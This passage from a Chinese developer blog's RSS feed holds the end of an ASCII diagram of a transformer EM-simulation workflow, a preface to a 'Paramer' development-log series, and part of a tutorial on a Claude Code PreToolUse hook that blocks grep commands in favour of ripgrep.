&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+---------------------------------------------------------------------+--+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;xfmr_6port&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SIMFLOW_TEMPLATE_PATH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+--------------------------------------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;runsim&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAIN&lt;/span&gt; &lt;span class="n"&gt;SIMULATION&lt;/span&gt; &lt;span class="n"&gt;ORCHESTRATOR&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;1.&lt;/span&gt; &lt;span class="n"&gt;Load&lt;/span&gt; &lt;span class="n"&gt;Cadence&lt;/span&gt; &lt;span class="n"&gt;IC231&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;EMX&lt;/span&gt; &lt;span class="n"&gt;environment&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;2.&lt;/span&gt; &lt;span class="n"&gt;Export&lt;/span&gt; &lt;span class="n"&gt;OA&lt;/span&gt; &lt;span class="n"&gt;layout&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;PCELL&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dbAccess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;3.&lt;/span&gt; &lt;span class="n"&gt;Export&lt;/span&gt; &lt;span class="n"&gt;GDS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strmout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;4.&lt;/span&gt; &lt;span class="n"&gt;Run&lt;/span&gt; &lt;span class="n"&gt;EMX&lt;/span&gt; &lt;span class="n"&gt;EM&lt;/span&gt; &lt;span class="n"&gt;simulations&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;modes&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;emx_script&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;standard&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="n"&gt;extraction&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;emx_script_LR&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inductance&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;resistance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;emx_script_CR&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacitance&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;resistance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;5.&lt;/span&gt; &lt;span class="n"&gt;Parameter&lt;/span&gt; &lt;span class="n"&gt;extraction&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;xfmr_6port_param_extract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mf"&gt;6.&lt;/span&gt; &lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;responses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;simulation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+--------------------------------------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;datadisplay&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;scalablemodel&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;pcelldev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ADS&lt;/span&gt; &lt;span class="n"&gt;viz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="n"&gt;extract&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PCELL&lt;/span&gt; &lt;span class="n"&gt;layouts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+--------------------------------------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;simflow&lt;/span&gt; &lt;span class="n"&gt;reads&lt;/span&gt; &lt;span class="n"&gt;KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;VALUE&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;default_params&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;XML&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cell&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;defaults&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;default_settings&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sim&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;freq&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pins&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+--------------------------------------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+------------------------------------------------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Paramer 开发记录 0 - 开端</title><link>https://v3n0.com/post/paramer/0-preface/</link><pubDate>Fri, 10 Apr 2026 01:05:40 +0800</pubDate><guid>https://v3n0.com/post/paramer/0-preface/</guid><description>&lt;p&gt;不断开发，迭代，维护了一年的项目，需要整理一下自己的经历。&lt;/p&gt;
&lt;p&gt;这个系列连本篇博客预计共十篇，顺序依据这个项目的开发历程中先后得到的感悟而编排。包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;技术选型&lt;/li&gt;
&lt;li&gt;开发踩坑&lt;/li&gt;
&lt;li&gt;团队沟通&lt;/li&gt;
&lt;li&gt;项目重构&lt;/li&gt;
&lt;li&gt;架构设计&lt;/li&gt;
&lt;li&gt;文档维护&lt;/li&gt;
&lt;li&gt;团队管理&lt;/li&gt;
&lt;li&gt;软件安全&lt;/li&gt;
&lt;li&gt;项目交接&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但是，首先这不是一个常规的后端应用，其次这也不是什么技术大厂里的开发规范流程，况且我仍然缺乏开发经验，因此这个系列注定不是软件开发流程的教科书，甚至可以说这是教科书的反面。我不知道这个系列的参考价值如何，仅仅是想记录自己所花费的心力，不想它们被忘记，最终无从回忆。&lt;/p&gt;
&lt;p&gt;这个开发记录系列其实要叫“Paramer 开发血泪史”，我已经提到这大概会是教科书的反面。如果要按文章内容算的话，大概这九篇会这样安排：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;让零开发经验的人做技术选型的后果&lt;/li&gt;
&lt;li&gt;所有以为“不会出问题”的地方，最后都会出问题&lt;/li&gt;
&lt;li&gt;“我以为你知道”&lt;/li&gt;
&lt;li&gt;为什么不一开始考虑好怎么写呢&lt;/li&gt;
&lt;li&gt;过度设计&lt;/li&gt;
&lt;li&gt;如果你给人类写的文档最后只有 AI 会读&lt;/li&gt;
&lt;li&gt;软件工程，修饰词是软件，主语是工程&lt;/li&gt;
&lt;li&gt;软件安全不可能三角：离线，高破解成本，运行效率&lt;/li&gt;
&lt;li&gt;你想交接，但只有你一个人了解这个项目&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>用 Claude Code Hook 强制使用 rg 替代 grep</title><link>https://v3n0.com/post/2026/claude-hooks-enforce-rg/</link><pubDate>Sat, 28 Feb 2026 20:00:00 +0800</pubDate><guid>https://v3n0.com/post/2026/claude-hooks-enforce-rg/</guid><description>&lt;p&gt;Claude Code 内置了专用的 grep 工具，但在某些场景下它仍会通过 Bash 工具直接调用 &lt;code&gt;grep&lt;/code&gt;。ripgrep（&lt;code&gt;rg&lt;/code&gt;）在速度、默认递归搜索、自动遵守 &lt;code&gt;.gitignore&lt;/code&gt; 等方面都更优。通过配置 PreToolUse hook，可以让 Claude Code 在执行任何 grep 命令时自动切换为 rg。&lt;/p&gt;
&lt;p&gt;想法来自于&lt;a class="link" href="https://www.bilibili.com/video/BV1C7fiBXEuo/" target="_blank" rel="noopener"
&gt;这篇视频&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="claude-code-hooks-工作原理"&gt;Claude Code Hooks 工作原理
&lt;/h2&gt;&lt;p&gt;Claude Code 支持在特定事件点注入用户脚本，称为 hooks。&lt;code&gt;PreToolUse&lt;/code&gt; 事件在工具调用执行&lt;strong&gt;之前&lt;/strong&gt;触发，可以检查、拦截即将执行的操作。&lt;/p&gt;
&lt;p&gt;对于 Bash 工具，hook 脚本通过 stdin 接收如下 JSON：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;session_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;abc123&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;tool_name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Bash&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;tool_input&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;command&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;grep -r &amp;#39;pattern&amp;#39; .&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;hook 脚本可以输出以下 JSON 来拦截命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;decision&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;block&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;reason&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;原因说明，Claude 会读取并据此调整&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;关键机制&lt;/strong&gt;：hook 无法直接修改命令本身，只能 block 并附带说明。Claude 读取 reason 后会自动纠正并重试——这已经足够实现目标。&lt;/p&gt;
&lt;h2 id="实现步骤"&gt;实现步骤
&lt;/h2&gt;&lt;h3 id="1-创建-hook-脚本"&gt;1. 创建 hook 脚本
&lt;/h3&gt;&lt;p&gt;新建 &lt;code&gt;~/.claude/hooks/grep-to-rg.sh&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 拦截 grep 命令，提示 Claude 改用 rg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;INPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;cat&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;COMMAND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; jq -r &lt;span class="s1"&gt;&amp;#39;.tool_input.command // empty&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$COMMAND&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -qE &lt;span class="s1"&gt;&amp;#39;(^|[|;&amp;amp;]\s*|`\s*)grep\b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; jq -n &lt;span class="s1"&gt;&amp;#39;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; &amp;#34;decision&amp;#34;: &amp;#34;block&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; &amp;#34;reason&amp;#34;: &amp;#34;禁止使用 grep。请改用 ripgrep (rg)，例如将 grep -r 替换为 rg，grep -l 替换为 rg -l。rg 更快且默认递归搜索。&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;正则 &lt;code&gt;(^|[|;&amp;amp;]\s*|`\s*)grep\b&lt;/code&gt; 覆盖了命令开头、管道、分号、反引号等各种 grep 出现的位置，避免误拦截含 &amp;ldquo;grep&amp;rdquo; 字符串的变量名等。&lt;/p&gt;
&lt;p&gt;赋予执行权限：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
